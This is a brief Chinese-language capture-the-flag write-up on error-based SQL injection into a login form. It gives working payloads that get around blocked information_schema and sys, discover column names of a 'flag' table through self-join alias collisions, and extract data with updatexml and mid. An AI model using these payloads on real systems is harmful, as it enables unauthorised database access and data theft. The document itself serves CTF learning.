打开页面得到一个登入框,用户名处加单引号sql报错
information_schema被拦截
sys被拦截,这样通过这两个方式去获取库 表列的方式行不通了
这里使用报错注入得到当前数据库名security
通过暴力的方式得到flag表,也同时知道了有id列
admin')and (select id from flag)--+
使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名,在使用using函数依次爆出其他字段名,这里通过两次得到了id跟no这个列
admin')and (select * from (select * from flag as a join flag as b using(id,no)) as c)--+
查询得到第3个列03165c24-8697-4a1f-b41f-af4d00def40c,这里因为列名开头是数字假设如果还有列应该要加``
现在得到了flag的3个列现在使用报错注入去获取数据,这里因为updatexml只能获取32位需要使用函数去获取后半部分,这里得到前32位
admin')and updatexml(1,concat(0x1,((select `03165c24-8697-4a1f-b41f-af4d00def40c` from flag))),1)--+
这里使用mid取出后面的部分
admin')and updatexml(1,concat(0x1,mid((select `03165c24-8697-4a1f-b41f-af4d00def40c` from flag),10,32)),1)--+